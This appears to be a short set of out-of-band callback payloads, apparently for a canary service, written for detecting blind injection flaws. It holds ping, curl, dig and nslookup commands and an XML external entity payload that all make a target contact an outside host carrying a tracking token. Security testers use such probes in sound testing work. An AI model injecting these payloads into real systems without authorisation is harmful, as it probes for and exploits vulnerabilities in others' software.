$ ping -c1 -p 00d15cfab83d3ad14f62a170a4604c00 unhack.ca
$ curl http://unhack.ca/p/d15cfab83d3ad14f62a170a4604c
$ dig d15cfab83d3ad14f62a170a4604c @unhack.ca
$ dig d15cfab83d3ad14f62a170a4604c.ns.unhack.ca
C:\> nslookup d15cfab83d3ad14f62a170a4604c unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/d15cfab83d3ad14f62a170a4604c">]> <foo>&xxe;</foo>